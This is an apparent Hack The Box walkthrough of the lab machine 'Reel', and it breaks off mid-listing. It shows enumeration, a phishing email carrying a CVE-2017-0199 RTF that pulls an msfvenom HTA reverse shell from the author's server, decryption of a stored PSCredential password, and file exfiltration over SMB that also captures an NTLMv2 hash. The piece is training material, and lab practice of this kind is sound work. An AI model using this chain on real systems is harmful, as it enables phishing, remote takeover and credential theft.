10.10.10.77 + Discovered open port 21/tcp on 10.10.10.77 + Discovered open port 22/tcp on 10.10.10.77 + Discovered open port 139/tcp on 10.10.10.77 + Discovered open port 25/tcp on 10.10.10.77 + Discovered open port 445/tcp on 10.10.10.77 + Discovered open port 49159/tcp on 10.10.10.77 + Discovered open port 593/tcp on 10.10.10.77 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~] + → sudo nmap -sCV -p21,22,139,25,445,593,49159 10.10.10.77 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-12 17:16 CET + Nmap scan report for 10.10.10.77 + Host is up (0.035s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp Microsoft ftpd + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_05-28-18 11:19PM <****DIR> documents + | ftp-syst: + |_ SYST: Windows_NT + 22/tcp open ssh OpenSSH 7.6 (protocol 2.0) + | ssh-hostkey: + | 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA) + | 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA) + |_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519) + 25/tcp open smtp? + | fingerprint-strings: + | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe: + | 220 Mail Service ready + | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest: + | 220 Mail Service ready + | sequence of commands + | sequence of commands + | Hello: + | 220 Mail Service ready + | EHLO Invalid domain address. + | Help: + | 220 Mail Service ready + | DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY + | SIPOptions: + | 220 Mail Service ready + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | sequence of commands + | TerminalServerCookie: + | 220 Mail Service ready + |_ sequence of commands + | smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP, + |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB) + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 49159/tcp open msrpc Microsoft Windows RPC + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port25-TCP:V=7.91%I=7%D=1/12%Time=5FFDCB73%P=x86_64-pc-linux-gnu%r(NULL + SF:,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Hello,3A,"220\x20Mail\x20S + SF:ervice\x20ready\r\n501\x20EHLO\x20Invalid\x20domain\x20address\.\r\n")% + SF:r(Help,54,"220\x20Mail\x20Service\x20ready\r\n211\x20DATA\x20HELO\x20EH + SF:LO\x20MAIL\x20NOOP\x20QUIT\x20RCPT\x20RSET\x20SAML\x20TURN\x20VRFY\r\n" + SF:)%r(GenericLines,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20s + SF:equence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r + SF:\n")%r(GetRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x20 + SF:sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\ + SF:r\n")%r(HTTPOptions,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad\x + SF:20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20command + SF:s\r\n")%r(RTSPRequest,54,"220\x20Mail\x20Service\x20ready\r\n503\x20Bad + SF:\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comma + SF:nds\r\n")%r(RPCCheck,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSVer + SF:sionBindReqTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(DNSStatusReq + SF:uestTCP,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SSLSessionReq,18,"2 + SF:20\x20Mail\x20Service\x20ready\r\n")%r(TerminalServerCookie,36,"220\x20 + SF:Mail\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\ + SF:n")%r(TLSSessionReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(Kerbero + SF:s,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SMBProgNeg,18,"220\x20Mai + SF:l\x20Service\x20ready\r\n")%r(X11Probe,18,"220\x20Mail\x20Service\x20re + SF:ady\r\n")%r(FourOhFourRequest,54,"220\x20Mail\x20Service\x20ready\r\n50 + SF:3\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\ + SF:x20commands\r\n")%r(LPDString,18,"220\x20Mail\x20Service\x20ready\r\n") + SF:%r(LDAPSearchReq,18,"220\x20Mail\x20Service\x20ready\r\n")%r(LDAPBindRe + SF:q,18,"220\x20Mail\x20Service\x20ready\r\n")%r(SIPOptions,162,"220\x20Ma + SF:il\x20Service\x20ready\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n5 + SF:03\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of + SF:\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\ + SF:x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20comman + SF:ds\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequenc + SF:e\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x20commands\r\n503\ + SF:x20Bad\x20sequence\x20of\x20commands\r\n503\x20Bad\x20sequence\x20of\x2 + SF:0commands\r\n"); + Service Info: Host: REEL; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: mean: -1s, deviation: 1s, median: -2s + | smb-os-discovery: + | OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3) + | OS CPE: cpe:/o:microsoft:windows_server_2012::- + | Computer name: REEL + | NetBIOS computer name: REEL\x00 + | Domain name: HTB.LOCAL + | Forest name: HTB.LOCAL + | FQDN: REEL.HTB.LOCAL + |_ System time: 2021-01-12T16:19:31+00:00 + | smb-security-mode: + | account_used: <****blank> + | authentication_level: user + | challenge_response: supported + |_ message_signing: required + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-01-12T16:19:32 + |_ start_date: 2021-01-12T16:10:40 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 206.48 seconds + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 21 so let's investigate it: + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~] + → ftp 10.10.10.77 + Connected to 10.10.10.77. + 220 Microsoft FTP Service + Name (10.10.10.77:nothing): anonymous + 331 Anonymous access allowed, send identity (e-mail name) as password. + Password: + 230 User logged in. + Remote system type is Windows_NT. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 05-28-18 11:19PM <****DIR> documents + 226 Transfer complete. + ftp> cd documents + 250 CWD command successful. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 05-28-18 11:19PM 2047 AppLocker.docx + 05-28-18 01:01PM 124 readme.txt + 10-31-17 09:13PM 14581 Windows Event Forwarding.docx + 226 Transfer complete. + ftp> mget * + mget AppLocker.docx? + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 9 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 2047 bytes received in 0.03 secs (63.6166 kB/s) + mget readme.txt? + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 226 Transfer complete. + 124 bytes received in 0.03 secs (3.6738 kB/s) + mget Windows Event Forwarding.docx? + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + WARNING! 51 bare linefeeds received in ASCII mode + File may not have transferred correctly. + 226 Transfer complete. + 14581 bytes received in 0.07 secs (200.3977 kB/s) + ftp> ^C + ftp> exit + 221 Goodbye. + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel] + → l + total 32K + drwxr-xr-x 2 nothing nothing 4.0K Jan 12 17:29 . + drwxr-xr-x 3 nothing nothing 4.0K Jan 12 17:29 .. + -rw-r--r-- 1 nothing nothing 2.0K Jan 12 17:27 AppLocker.docx + -rw-r--r-- 1 nothing nothing 122 Jan 12 17:27 readme.txt + -rw-r--r-- 1 nothing nothing 15K Jan 12 17:27 'Windows Event Forwarding.docx' + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel] + → cat readme.txt + please email me any rtf format procedures - I'll review and convert. + + new format / converted documents will be saved here.% + + + +Let's use exiftool to check out the metadata of these files since readme didn't give us anything specific: + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel] + → exiftool AppLocker.docx + ExifTool Version Number : 12.13 + File Name : AppLocker.docx + Directory : . + File Size : 2047 bytes + File Modification Date/Time : 2021:01:12 17:27:13+01:00 + File Access Date/Time : 2021:01:12 17:27:13+01:00 + File Inode Change Date/Time : 2021:01:12 17:29:40+01:00 + File Permissions : rw-r--r-- + File Type : DOCX + File Type Extension : docx + MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document + Zip Required Version : 20 + Zip Bit Flag : 0x0008 + Zip Compression : Deflated + Zip Modify Date : 2018:05:29 00:19:50 + Zip CRC : 0x3cdd8b4f + Zip Compressed Size : 166 + Zip Uncompressed Size : 284 + Zip File Name : _rels/.rels + + + +Not much in Applocker.docx, However in the last file we see a bit more useful infos: + + + [ 10.10.14.16/23 ] [ /dev/pts/1 ] [~/_HTB/reel] + → exiftool Windows\ Event\ Forwarding.docx + ExifTool Version Number : 12.13 + File Name : Windows Event Forwarding.docx + Directory : . + File Size : 14 KiB + File Modification Date/Time : 2021:01:12 17:27:15+01:00 + File Access Date/Time : 2021:01:12 17:31:26+01:00 + File Inode Change Date/Time : 2021:01:12 17:29:48+01:00 + File Permissions : rw-r--r-- + File Type : DOCX + File Type Extension : docx + MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document + Zip Required Version : 20 + Zip Bit Flag : 0x0006 + Zip Compression : Deflated + Zip Modify Date : 1980:01:01 00:00:00 + Zip CRC : 0x82872409 + Zip Compressed Size : 385 + Zip Uncompressed Size : 1422 + Zip File Name : [Content_Types].xml + Creator : nico@megabank.com + Revision Number : 4 + Create Date : 2017:10:31 18:42:00Z + Modify Date : 2017:10:31 18:51:00Z + Template : Normal.dotm + Total Edit Time : 5 minutes + Pages : 2 + Words : 299 + Characters : 1709 + Application : Microsoft Office Word + Doc Security : None + Lines : 14 + Paragraphs : 4 + Scale Crop : No + Heading Pairs : Title, 1 + Titles Of Parts : + Company : + Links Up To Date : No + Characters With Spaces : 2004 + Shared Doc : No + Hyperlinks Changed : No + App Version : 14.0000 + + + +For instance, this time we get a few more informations such as the username **nico** at the domain name **megabank.com** so let's add it to our hosts file: + + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB/Reel] + → sudo -i + [sudo] password for nothing: + ┌──(root💀nowhere)-[~] + └─# echo '10.10.10.77 megabank.com' >> /etc/hosts + + ┌──(root💀nowhere)-[~] + └─# ping -c1 megabank.com + PING megabank.com (10.10.10.77) 56(84) bytes of data. + 64 bytes from megabank.com (10.10.10.77): icmp_seq=1 ttl=127 time=450 ms + + --- megabank.com ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 450.267/450.267/450.267/0.000 ms + + ┌──(root💀nowhere)-[~] + └─# exit + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB/Reel] + → + + + +So let's open up the docx document and see what's in it using libreoffice: + +![](prg/11/1.png) + +However that's about it for ftp, now let's move on to that smtp port using telnet Which is where we need to send a malicious email which contains a malicious .rtf file as we got hinted to do earlier, to the nico user. We're going to use [CVE-2017-0199](https://www.exploit-db.com/exploits/41934) : + +First we generate the HTA file: + + + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel] + → msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.9 LPORT=9001 -f hta-psh -o msfv.hta + [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload + [-] No arch selected, selecting arch: x86 from the payload + No encoder specified, outputting raw payload + Payload size: 324 bytes + Final size of hta-psh file: 7431 bytes + Saved as: msfv.hta + + [term2] + [ 10.10.16.9/23 ] [ /dev/pts/14 ] [HTB/Reel/CVE-2017-0199] + → nc -lvnp 9001 + listening on [any] 9001 ... + + + +Note that this msfv.hta file is going to trigger the reverse shell connection back to us on port **9001** so don't forget to have your netcat ready + +Then we generate the RTF file: + + + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel] + → git clone https://github.com/bhdresh/CVE-2017-0199 + Cloning into 'CVE-2017-0199'... + remote: Enumerating objects: 298, done. + remote: Total 298 (delta 0), reused 0 (delta 0), pack-reused 298 + Receiving objects: 100% (298/298), 288.09 KiB | 1.20 MiB/s, done. + Resolving deltas: 100% (102/102), done. + + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel] + → cd CVE-2017-0199 + + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [HTB/Reel/CVE-2017-0199] + → python2 cve-2017-0199_toolkit.py -M gen -w nihilist.rtf -u http://10.10.16.9/msfv.hta -t rtf -x 0 + Generating normal RTF payload. + + Generated nihilist.rtf successfully + + + +Note the **-u** parameter which is going to be the URL from which the box is going to get the **msfv.hta** file from, and next step is to send the phishing email with the **sendEmail** utility: + + + [term1] + [ 10.10.16.9/23 ] [ /dev/pts/16 ] [~/HTB/Reel] + → ls -lash msfv.hta; sudo python3 -m http.server 80 + 8.0K -rw-r--r-- 1 nothing nothing 7.3K Dec 26 18:55 msfv.hta + Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... + + [term2] + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [HTB/Reel/CVE-2017-0199] + → sendEmail -f nihilist@megabank.com -t nico@megabank.com -u "check the attached file" -m "very important mail" -a nihilist.rtf -s 10.129.179.102 -v + Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => Connecting to 10.129.179.102:25 + Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => My IP address is: 10.10.16.9 + Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 220 Mail Service ready + Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: EHLO nowhere + Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250-REEL, 250-SIZE 20480000, 250-AUTH LOGIN PLAIN, 250 HELP + Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: MAIL FROM:<****nihilist@megabank.com> + Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250 OK + Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: RCPT TO: <****nico@megabank.com> + Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 250 OK + Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending: DATA + Dec 26 19:08:30 nowhere sendEmail[885036]: SUCCESS => Received: 354 OK, send. + Dec 26 19:08:30 nowhere sendEmail[885036]: INFO => Sending message body + Dec 26 19:08:30 nowhere sendEmail[885036]: Setting content-type: text/plain + Dec 26 19:08:30 nowhere sendEmail[885036]: DEBUG => Sending the attachment [nihilist.rtf] + Dec 26 19:08:43 nowhere sendEmail[885036]: SUCCESS => Received: 250 Queued (12.220 seconds) + Dec 26 19:08:43 nowhere sendEmail[885036]: Email was sent successfully! From: <****nihilist@megabank.com> To: <****nico@megabank.com> Subject: [check the attached file] Attachment(s): [nihilist.rtf] Server: [10.129.179.102:25] + +Then we need to wait a few minutes for nico to fall for the phishing attempt, and we get a shell: + + + [ 10.10.16.9/23 ] [ /dev/pts/14 ] [HTB/Reel/CVE-2017-0199] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.16.9] from (UNKNOWN) [10.129.179.102] 51538 + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>whoami + whoami + htb\nico + + + +And we got a reverse shell connection ! We are now logged in as the nico user, so let's see if we can get the user flag: + + + C:\Windows\system32>cd ../../ + cd ../../ + + C:\>cd Users\ + cd Users\ + + C:\Users>dir + dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users + + 03/11/2017 23:09 DIR> . + 03/11/2017 23:09 DIR> .. + 25/10/2017 20:48 DIR> .NET v2.0 + 25/10/2017 20:48 DIR> .NET v2.0 Classic + 01/11/2017 21:58 DIR> .NET v4.5 + 01/11/2017 21:58 DIR> .NET v4.5 Classic + 16/02/2018 23:29 DIR> Administrator + 04/11/2017 23:05 DIR> brad + 30/10/2017 23:00 DIR> claire + 25/10/2017 20:48 DIR> Classic .NET AppPool + 03/11/2017 23:09 DIR> herman + 31/10/2017 22:27 DIR> julia + 26/12/2021 12:30 DIR> nico + 22/08/2013 15:39 DIR> Public + 28/10/2017 21:32 DIR> SSHD + 16/11/2017 22:35 DIR> tom + 0 File(s) 0 bytes + 16 Dir(s) 15,739,142,144 bytes free + + C:\Users>cd nico + cd nico + + C:\Users\nico>cd desktop + cd desktop + + C:\Users\nico\Desktop>type user.txt + type user.txt + faXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag! + +## **Part 3 : Getting Root Access** + +Now on nico's desktop we see the following: + + + C:\Users\nico\Desktop>dir + dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\nico\Desktop + + 28/05/2018 20:07 DIR> . + 28/05/2018 20:07 DIR> .. + 27/10/2017 23:59 1,468 cred.xml + 27/10/2017 23:40 32 user.txt + 2 File(s) 1,500 bytes + 2 Dir(s) 15,739,027,456 bytes free + + C:\Users\nico\Desktop>type cred.xml + type cred.xml + <****Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <****Obj RefId="0"> <****TN RefId="0"> <****T>System.Management.Automation.PSCredential <****/T> <****T>System.Object <****/T> <****/TN> <****ToString>System.Management.Automation.PSCredential <****/ToString> <****Props> <****S N="UserName">HTB\Tom <****/S> <****SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692 <****/SS> <****/Props> <****/Obj> <****/Objs> + +Here we see an output of the **Export-CliXml** command, which is this **cred.xml** file, we can get the password of tom out of it: + + + C:\Users\nico\Desktop>powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" + powershell -c "$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *" + + + UserName : Tom + Password : **1ts-mag1c!!!** + SecurePassword : System.Security.SecureString + Domain : HTB + + + +And we have tom's password! Now let's ssh as the tom user using his password: + + + [ 10.10.16.9/23 ] [ /dev/pts/2 ] [~/HTB/Reel] + → ssh tom@megabank.com + The authenticity of host 'megabank.com (10.129.179.102)' can't be established. + ED25519 key fingerprint is SHA256:fIZnS9nEVF3o86fEm/EKspTgedBr8TvFR0i3Pzk40EQ. + This key is not known by any other names + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'megabank.com' (ED25519) to the list of known hosts. + tom@megabank.com's password: + Microsoft Windows [Version 6.3.9600] + (c) 2013 Microsoft Corporation. All rights reserved. + + tom@REEL C:\Users\tom>whoami + htb\tom + + + +And we now have access to tom's system account! Let's take a look around: + + + tom@REEL C:\Users\tom>dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\tom + + 11/16/2017 10:35 PM DIR> . + 11/16/2017 10:35 PM DIR> .. + 10/27/2017 11:38 PM DIR> Contacts + 05/29/2018 07:57 PM DIR> Desktop + 10/27/2017 11:38 PM DIR> Documents + 10/29/2017 09:08 PM DIR> Downloads + 10/27/2017 11:38 PM DIR> Favorites + 10/27/2017 11:38 PM DIR> Links + 10/27/2017 11:38 PM DIR> Music + 10/27/2017 11:38 PM DIR> Pictures + 10/27/2017 11:38 PM DIR> Saved Games + 10/27/2017 11:38 PM DIR> Searches + 10/27/2017 11:38 PM DIR> Videos + 0 File(s) 0 bytes + 13 Dir(s) 15,736,729,600 bytes free + + tom@REEL C:\Users\tom>cd Desktop + + tom@REEL C:\Users\tom\Desktop>dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\tom\Desktop + + 05/29/2018 07:57 PM DIR> . + 05/29/2018 07:57 PM DIR> .. + 05/29/2018 08:02 PM DIR> AD Audit + 0 File(s) 0 bytes + 3 Dir(s) 15,736,729,600 bytes free + + tom@REEL C:\Users\tom\Desktop>cd "AD Audit" + + tom@REEL C:\Users\tom\Desktop\AD Audit> + tom@REEL C:\Users\tom\Desktop\AD Audit>dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\tom\Desktop\AD Audit + + 05/29/2018 08:02 PM DIR> . + 05/29/2018 08:02 PM DIR> .. + 05/29/2018 11:44 PM DIR> BloodHound + 05/29/2018 08:02 PM 182 note.txt + 1 File(s) 182 bytes + 3 Dir(s) 15,736,729,600 bytes free + + tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt + Findings: + + Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query). + + Maybe we should re-run Cypher query against other groups we've created. + + +Here we are hinted that there has been an AD audit, let's see if we have access to interesting bloodhound files: + + + tom@REEL C:\Users\tom\Desktop\AD Audit>cd BloodHound + + tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\tom\Desktop\AD Audit\BloodHound + + 05/29/2018 11:44 PM DIR> . + 05/29/2018 11:44 PM DIR> .. + 05/29/2018 07:57 PM DIR> Ingestors + 10/30/2017 10:15 PM 769,587 PowerView.ps1 + 1 File(s) 769,587 bytes + 3 Dir(s) 15,736,729,600 bytes free + + tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>cd Ingestors + + tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir + Volume in drive C has no label. + Volume Serial Number is CC8A-33E1 + + Directory of C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors + + 05/29/2018 07:57 PM DIR> . + 05/29/2018 07:57 PM DIR> .. + 11/16/2017 11:50 PM 112,225 acls.csv + 10/28/2017 08:50 PM 3,549 BloodHound.bin + 10/24/2017 03:27 PM 246,489 BloodHound_Old.ps1 + 10/24/2017 03:27 PM 568,832 SharpHound.exe + 10/24/2017 03:27 PM 636,959 SharpHound.ps1 + 5 File(s) 1,568,054 bytes + 2 Dir(s) 15,736,729,600 bytes free + + + +So let's transfer the bloodhound files back to our local machine: + + + [term 1] + [ 10.10.16.9/23 ] [ /dev/pts/14 ] [~/HTB/Reel] + → impacket-smbserver -smb2support nihilist . + Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation + + [*] Config file parsed + [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0 + [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0 + [*] Config file parsed + [*] Config file parsed + [*] Config file parsed + + [term 2] + tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>copy * \\10.10.16.9\nihilist\ + acls.csv + BloodHound.bin + BloodHound_Old.ps1 + SharpHound.exe + SharpHound.ps1 + 5 file(s) copied. + + [term 1] + [*] Incoming connection (10.129.179.102,61795) + [*] AUTHENTICATE_MESSAGE (HTB\tom,REEL) + [*] User REEL\tom authenticated successfully + [*] tom::HTB:aaaaaaaaaaaaaaaa:97ed7e26f0ec5b28ae6cb130414917ed:0101000000000000809d2c0658fbd70124aa28f4ea690e2f00000000010010007700660056004200780073004100710003001000770066005600420078007300410071000200100043007700570048007300450056005300040010004300770057004800730045005600530007000800809d2c0658fbd701060004000200000008003000300000000000000000000000003000005085ea7922d5329d13836e2e2a7350eacf7ee793c7c9205c7ad5e64f5183febb0a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e003900000000000000000000000000 + [*] Connecting Share(1:IPC$) + [*] Connecting Share(2:nihilist) + + ^C + + [ 10.10.16.9/23 ] [ /dev/pts/14 ] [~/HTB/Reel] + → ls -lash + total 1.6M + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 27 20:29 . + 4.0K drwxr-xr-x 3 nothing nothing 4.0K Dec 25 21:26 .. + 112K -rwxr-xr-x 1 nothing nothing 110K May 29 2018 acls.csv + 4.0K -rwxr-xr-x 1 nothing nothing 3.5K Oct 29 2017 BloodHound.bin + 244K -rwxr-xr-x 1 nothing nothing 241K Oct 29 2017 BloodHound_Old.ps1 + 4.0K drwxr-xr-x 4 nothing nothing 4.0K Dec 26 19:00 CVE-2017-0199 + 8.0K -rw-r--r-- 1 nothing nothing 7.3K Dec 26 18:55 msfv.hta + 556K -rwxr-xr-x 1 nothing nothing 556K Oct 29 2017 SharpHound.exe + 624K -rwxr-xr-x 1 nothing nothing 623K Oct 29 2017 SharpHound.ps1 + + + +Now that we have transfered the files back to our machine, let's inspect them using bloodhound: + + + [ 10.10.16.9/23 ] [ /dev/pts/15 ] [~/Tools] + → sudo apt install neo4j + + [ 10.10.16.9/23 ] [ /dev/pts/15 ] [~/Tools] + → sudo neo4j console + Directories in use: + home: /usr/share/neo4j + config: /usr/share/neo4j/conf + logs: /usr/share/neo4j/logs + plugins: /usr/share/neo4j/plugins + import: /usr/share/neo4j/import + data: /usr/share/neo4j/data + certificates: /usr/share/neo4j/certificates + licenses: /usr/share/neo4j/licenses + run: /usr/share/neo4j/run + Starting Neo4j. + 2021-12-27 20:10:00.054+0000 INFO Starting... + 2021-12-27 20:10:00.455+0000 INFO This instance is ServerId{39ac0325} (39ac0325-ca50-4041-ba6d-444c78dc4026) + 2021-12-27 20:10:02.130+0000 INFO ======== Neo4j 4.4.2 ======== + 2021-12-27 20:10:03.469+0000 INFO Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED + 2021-12-27 20:10:03.473+0000 INFO Setting up initial user from defaults: neo4j + 2021-12-27 20:10:03.474+0000 INFO Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false) + 2021-12-27 20:10:03.481+0000 INFO Setting version for 'security-users' to 3 + 2021-12-27 20:10:03.483+0000 INFO After initialization of system graph model component 'security-users' have version 3 and status CURRENT + 2021-12-27 20:10:03.488+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT + 2021-12-27 20:10:03.700+0000 INFO Bolt enabled on localhost:7687. + 2021-12-27 20:10:04.423+0000 INFO Remote interface available at http://localhost:7474/ + 2021-12-27 20:10:04.428+0000 INFO id: AC467907227285E4E491280BBC436619BBDF6A413FD78BD3F4BCB8455310E603 + 2021-12-27 20:10:04.428+0000 INFO name: system + 2021-12-27 20:10:04.428+0000 INFO creationDate: 2021-12-27T20:10:02.593Z + 2021-12-27 20:10:04.428+0000 INFO Started. + + + + +Then goto **http://127.0.0.1:7474** and login with credentials **neo4j:neo4j** + +![](prg/11/2.png) + + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools] + → wget https://github.com/BloodHoundAD/BloodHound/releases/download/4.0.3/BloodHound-linux-x64.zip + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools] + → mkdir Bloodhound + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools] + → mv BloodHound-linux-x64.zip Bloodhound/ + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools] + → cd Bloodhound + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound] + → unzip BloodHound-linux-x64.zip + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound] + → ls -l + total 100032 + drwxrwxr-x 5 nothing nothing 4096 Jul 15 20:13 BloodHound-linux-x64 + -rw-r--r-- 1 nothing nothing 102425633 Dec 8 05:47 BloodHound-linux-x64.zip + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [~/Tools/Bloodhound] + → cd BloodHound-linux-x64 + + [ 10.10.16.9/23 ] [ /dev/pts/20 ] [Tools/Bloodhound/BloodHound-linux-x64] + → ls -l + total 175752 + -rwxr-xr-x 1 nothing nothing 127561112 Jul 15 20:13 BloodHound + -rw-r--r-- 1 nothing nothing 179981 Jul 15 20:13 chrome_100_percent.pak + -rw-r--r-- 1 nothing nothing 321151 Jul 15 20:13 chrome_200_percent.pak + -rwxr-xr-x 1 nothing nothing 6322128 Jul 15 20:13 chrome-sandbox + -rw-r--r-- 1 nothing nothing 10505952 Jul 15 20:13 icudtl.dat + -rwxr-xr-x 1 nothing nothing 243992 Jul 15 20:13 libEGL.so + -rwxr-xr-x 1 nothing nothing 3103488 Jul 15 20:13 libffmpeg.so + -rwxr-xr-x 